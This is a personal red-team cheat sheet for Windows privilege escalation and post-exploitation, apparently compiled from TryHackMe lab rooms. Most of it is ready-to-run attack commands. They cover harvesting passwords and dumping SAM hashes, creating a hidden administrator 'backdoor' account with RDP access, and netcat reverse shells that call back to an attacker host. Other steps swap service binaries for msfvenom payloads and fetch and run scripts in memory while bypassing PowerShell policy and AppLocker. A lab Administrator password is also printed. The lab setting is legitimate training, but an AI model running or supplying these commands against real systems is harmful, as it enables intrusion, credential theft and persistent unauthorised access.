# Windows

**Copy info from here:** [**https://tryhackme.com/room/windowsprivesc20**](https://tryhackme.com/room/windowsprivesc20)

## **Gathering Info**

```
whoami /priv
```

```
net user
```

```
systeminfo
```

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
```

```
dir c:\
```

```
dir "c:\program files"
```

```
dir "c:\program files (x86)"
```

```
wmic service get name,startname
```

```
wmic service get name,pathname,startname | findstr "Program Files"
```

Find text in file

```
type C:\Windows\path\to\file\$FILE | findstr $STRING
```

Find passwords

```
reg query HKLM /f password /t REG_SZ /s
```

###

### **Whoami /priv**

| Finding                | Comment                                                 | Examples                                                                                                                                                                                                                 |
| ---------------------- | ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| SeImpersonatePrivilege | Printspoofer - works on Windows 10 and Server 2016/2019 | [relevant](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/relevant "mention")[stealth](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/stealth "mention") |
| SeImpersonatePrivilege | Using EfsPotato                                         | [stealth](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/stealth "mention")                                                                                                              |
|                        |                                                         |                                                                                                                                                                                                                          |

## Harvesting Passwords from Usual Spots

Might be able to find interesting files by looking at what was recently accessed. Start -> run -> recent.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlzRUUipZNNPl6t05ErPB%2Fimage.png?alt=media&#x26;token=6001ecbd-23d1-4f49-a8f0-f8b718418abe" alt=""><figcaption></figcaption></figure>

### **Powershell history**

**Examples**

[#harvesting-passwords-from-usual-spots](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#harvesting-passwords-from-usual-spots "mention")

**Victim(cmd)**

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

**Examples**

[#harvesting-passwords-from-usual-spots](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#harvesting-passwords-from-usual-spots "mention")

Need GUI to see other command prompt that will be spawned

**Victim(cmd)**

```
cmdkey /list
runas /savecred /user:$DOMAIN\$USERNAME cmd.exe
```

**Examples**

[#harvesting-passwords-from-usual-spots](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#harvesting-passwords-from-usual-spots "mention")

Retrieve the saved password stored in the saved PuTTY session under your profile.&#x20;

**Victim(cmd)**

```
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

### See hidden files

**Examples**

[anthem](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/anthem "mention")

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjoGEJp4bGda5Zg7Vgn3l%2Fimage.png?alt=media&#x26;token=601b0673-46ab-40d8-aaed-3106eeae9c0b" alt=""><figcaption></figcaption></figure>

### System and Sam

#### Download system and sam

**Examples**

[#tampering-with-unprivileged-accounts](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-local-persistence#tampering-with-unprivileged-accounts "mention")

**Kali(WinRM)**

```
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
```

#### Dump hashes

**Examples**

[#tampering-with-unprivileged-accounts](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-local-persistence#tampering-with-unprivileged-accounts "mention")

**Kali**

```
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
```

## Add User & Assign Group Memberships

**Victim**

```
net user backdoor pass!123 /add
net localgroup Administrators backdoor /add
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t reg_dword /d 0 /f
```

### **Enable RDP**

**Victim**

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

### Add user to RDP Group

**Examples**

[#assign-group-memberships](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-local-persistence#assign-group-memberships "mention")

Add user to group that allows them to RDP

**Victim(cmd)**

```
net localgroup "Remote Management Users" $USER /add
```

## Scheduled Tasks

**Examples**

[windows-privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation "mention")[#abusing-scheduled-tasks](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-local-persistence#abusing-scheduled-tasks "mention")

Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it's using a binary you can modify.

Scheduled tasks can be listed from the command line using the schtasks command without any options. To retrieve detailed information about any of the services, you can use a command like the following one:

**Victim(cmd)**

```
schtasks 
```

**Victim(cmd)**

```
schtasks /query /tn $TASK /fo list /v
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FsOFSJ4EvUCVibdpnO0Rd%2Fimage.png?alt=media&#x26;token=67045411-7d65-4fd2-b338-696de3f03816" alt=""><figcaption></figcaption></figure>

**Victim(cmd)**

```
icacls c:\tasks\schtask.bat
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fxe94EZSRJj0J8yGeMP83%2Fimage.png?alt=media&#x26;token=7ed4cee3-0b58-4536-a173-cad7e8fd6f43" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 4444
```

**Victim**

```
echo c:\tools\nc64.exe -e cmd.exe $KALI 4444 > C:\tasks\schtask.bat
schtasks /run /tn $TASK 
```

## Abusing Service Misconfigurations

**Examples**

[#abusing-service-misconfigurations](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#abusing-service-misconfigurations "mention")

### Insecure Permissions on Service Executable

**Get the flag on svcusr1's desktop**

**Victim(cmd)**

```
sc qc WindowsScheduler
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvQm1S3NSdUnNGrYObpT6%2Fimage.png?alt=media&#x26;token=e751da09-2bf5-4f5a-b07f-f35c5e799bed" alt=""><figcaption></figcaption></figure>

**Victim(cmd)**

```
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FD6OdUwv6dPam62Fhm26B%2Fimage.png?alt=media&#x26;token=3c801661-4b85-4c60-a9bf-c756bc6faac7" alt=""><figcaption></figcaption></figure>

**Kali**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4445 -f exe-service -o rev-svc.exe
python2 -m SimpleHTTPServer 81
```

**Victim(Powershell)**

```
wget http://$KALI:81/rev-svc.exe -O rev-svc.exe
```

Once the payload is in the Windows server, we proceed to replace the service executable with our payload. Since we need another user to execute our payload, we'll want to grant full permissions to the Everyone group as well.

**Victim(Powershell)**

```
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
```

**Kali**

```
nc -lvp 4445
```

**Note:** PowerShell has sc as an alias to Set-Content, therefore you need to use sc.exe in order to control services with PowerShell this way.

As a result, you'll get a reverse shell with svcusr1 privileges:

**Victim(cmd)**

```
sc stop windowsscheduler
sc start windowsscheduler
```

**OR**

**Victim(Powershell)**

```
sc.exe stop windowsscheduler
sc.exe start windowsscheduler
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHNLS7rWeddXpfJjyBwOC%2Fimage.png?alt=media&#x26;token=4715b69f-a3d4-44d2-b549-f5f30d4b13d5" alt=""><figcaption></figcaption></figure>

### Unquoted Service Paths

**Examples**

[#unquoted-service-paths](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#unquoted-service-paths "mention")

**Victim(cmd)**

```
 sc qc "disk sorter enterprise"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3Q5mii0gdkdcGrgq0mXW%2Fimage.png?alt=media&#x26;token=f3caee5c-653d-4f77-ab46-75034a36010d" alt=""><figcaption></figcaption></figure>

**Kali**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4446 -f exe-service -o rev-svc2.exe
python2 -m SimpleHTTPServer 81
```

**Victim(Powershell)**

```
wget http://10.10.15.215:81/rev-svc2.exe -O rev-svc2.exe
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
```

**Kali**

```
nc -lvp 4446
```

**Victim(cmd)**

```
sc.exe stop "disk sorter enterprise"
sc.exe start "disk sorter enterprise"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXoy94fVg7tdSNYF2CzVj%2Fimage.png?alt=media&#x26;token=a3c326c1-4956-470f-9f16-c5afa2c6cfae" alt=""><figcaption></figcaption></figure>

### Insecure Service Permissions

**Examples**

[#insecure-service-permissions](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#insecure-service-permissions "mention")

**Victim(cmd)**

```
cd C:\tools\AccessChk
accesschk64.exe -qlc thmservice
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fv9Zd2cWKETk5Uati2uOw%2Fimage.png?alt=media&#x26;token=59d6fd4a-91b2-4a5c-aeb5-8c613e6834c4" alt=""><figcaption></figcaption></figure>

**Kali**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4447 -f exe-service -o rev-svc3.exe
python2 -m SimpleHTTPServer 81
```

**Victim(Powershell)**

```
wget http://10.10.15.215:81/rev-svc3.exe -O rev-svc3.exe
```

**Kali**

```
nc -lvp 4447
```

**Victim(Powershell)**

```
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
sc.exe config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc.exe stop THMService
sc.exe start THMService
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFS3toKXEgblLg081b5qV%2Fimage.png?alt=media&#x26;token=58126870-12ac-440a-bf60-c38b28d83a93" alt=""><figcaption></figcaption></figure>

## Abusing dangerous privileges

**Examples**

[#abusing-dangerous-privileges](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/windows-privilege-escalation#abusing-dangerous-privileges "mention")

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fo9sOaTa6P8guFxH5p8N4%2Fimage.png?alt=media&#x26;token=f0b2b29d-87f3-4971-ad0b-07f6e8f8bd44" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvp 4442
```

**Victim(Browser)**

```
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.22.165 4442"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fx0ZvJjuB2df5Y623gQrW%2Fimage.png?alt=media&#x26;token=ebe801fb-e66a-4e29-bf9e-becc02f9aa9f" alt=""><figcaption></figcaption></figure>

## Bypassing UAC

**Examples:**

[bypassing-uac](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/bypassing-uac "mention")

## Bypassing Applocker

**Examples:**

[#bypassing-applocker](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/corp#bypassing-applocker "mention")

Load PowerUp.ps1 into memory.

**Kali**

```
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
python2 -m SimpleHTTPServer 81
```

Add the following line at the bottom to PowerUp.ps1 so it Invokes all checks automatically once downloaded

**PowerUp.ps1**

```
Invoke-AllChecks
```

**Victim(powershell)**

<pre><code>powershell -ep bypass
<strong>iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/PowerUp.ps1') 
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNSGGiz1BOuUVl2ZBtrda%2Fimage.png?alt=media&#x26;token=9981075f-1461-4465-917b-785476b6c959" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrB5TJiXHWbgMK82ys9Dh%2Fimage.png?alt=media&#x26;token=dce1190b-9992-405c-8a42-13846a65b1d5" alt=""><figcaption></figcaption></figure>

**Kali**

```
echo "dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=" | base64 -d
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8YO0tdNimFZqBvg0kF5Z%2Fimage.png?alt=media&#x26;token=fa2428ec-5741-48a1-a1f1-76c8a0af6fa2" alt=""><figcaption></figcaption></figure>

**Kali**

```
xfreerdp +clipboard /u:"Administrator" /v:$VICTIM:3389 /size:1024x568 /smart-sizing:800x1200
Password: tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T
```

## Privilege Escalation

## **Automated Enumeration Tools**

<table><thead><tr><th>Name</th><th>Link</th></tr></thead><tbody><tr><td>WinPeas</td><td></td></tr><tr><td>PowerUp.ps1</td><td><a href="https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1">https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 </a></td></tr><tr><td>Windows Exploit Suggester</td><td><a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git">https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git</a></td></tr><tr><td>SharpHound</td><td><pre><code>git clone https://github.com/BloodHoundAD/BloodHound.git
</code></pre></td></tr><tr><td>Powerview</td><td></td></tr></tbody></table>

## **Juicy Potato**

**Examples**

[retro](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/retro "mention")

* Download Juicy Potato to your attack machine
* Upload Juicy Potato to the target (ex: via FTP, SMB, HTTP, etc.)
* Create a reverse shell and upload it to the target (ex: via FTP, SMB, HTTP, etc.) use Juicy Potato to execute your reverse shell

```
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
```

```
JuicyPotato.exe -l 5050 -p C:\path\to\reverse-shell.exe -t *
```

## PowerUp.ps1

**Examples**

[#privilege-escalation](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/steel-mountain#privilege-escalation "mention")[retro](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/retro "mention")

**Setup**

**Kali**

```
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 
python2 -m SimpleHTTPServer 81
```

**Victim(cmd)**

```
certutil -urlcache -f http://10.10.228.214:81/PowerUp.ps1 PowerUp.ps1 
. .\PowerUp.ps1 
Invoke-AllChecks
```

**OR**

**Victim(powershell)**

<pre><code>powershell -ep bypass
<strong>iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/PowerUp.ps1')
</strong></code></pre>

## Windows Exploit Suggester

**Examples**

[hackpark](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/hackpark "mention")

**Setup**

Run command then paste output back to Kali in a file called systeminfo.txt

**Victim**

```
systeminfo
```

**Kali**

```
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git 
cd Windows-Exploit-Suggester/ 
python3.9 windows-exploit-suggester.py --update 
python3.9 windows-exploit-suggester2.py --database 2022-12-03-mssb.xls --systeminfo systeminfo.txt
```

## **WinPeas**

**Examples**

[hackpark](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/hackpark "mention")

**Setup**

**Kali**&#x20;

```
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221127/winPEASx64.exe 
python2 -m SimpleHTTPServer 82
```

**Victim**&#x20;

```
cd C:\Windows\Temp
powershell "(New-Object System.Net.WebClient).Downloadfile('http://$KALI:82/winPEASx64.exe','winPEASx64.exe')" 
winPEASx64.exe
```

## SharpHound

**Examples**

[post-exploitation-basics](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/post-exploitation-basics "mention")

Add this line to SharpHound.ps1 before transferring so I could run the command right away

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYHowJ35VoXqVAtLX7OO3%2Fimage.png?alt=media&#x26;token=22084abc-74a4-4aff-b930-2407294742f7" alt=""><figcaption></figcaption></figure>

**Victim**

```
powershell -ep bypass
.\SharpHound.ps1
```

**Kali**

```
apt-get install bloodhound
neo4j console
bloodhound --no-sandbox
```

### Find all Domain Admins

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFEdczYiO8xReFNtY2nMx%2Fimage.png?alt=media&#x26;token=2c6e39a4-5b07-48f2-aabb-15b664a6f4ca" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRboxdkUZ4O8rP6I44aPq%2Fimage.png?alt=media&#x26;token=7b4ba5fd-01b9-4f0a-a937-8974f3453d50" alt=""><figcaption></figcaption></figure>

### List all Kerberostable accounts

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJ1WoKevUdP3zrXebCmqX%2Fimage.png?alt=media&#x26;token=c91b13b2-09b1-407d-a15c-f583e520645a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fs80DtNiDFPwOrpyaS7Ud%2Fimage.png?alt=media&#x26;token=12b6d3ca-490a-4b7b-88a5-05bf647c38fa" alt=""><figcaption></figcaption></figure>

## Powerview

**Examples**

[post-exploitation-basics](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/post-exploitation-basics "mention")

**Victim**

Run below to be able to run PowerView commands.

```
powershell -ep bypass
. .\Downloads\PowerView.ps1
```

Enumerate the domain users.

```
Get-NetUser | select cn
```

Enumerate the domain groups.

```
Get-NetGroup -GroupName *admin*
```

Find Shared folders.

```
Invoke-ShareFinder
```

Get Operating systems on the network.

```
Get-NetComputer -fulldata | select operatingsystem
```
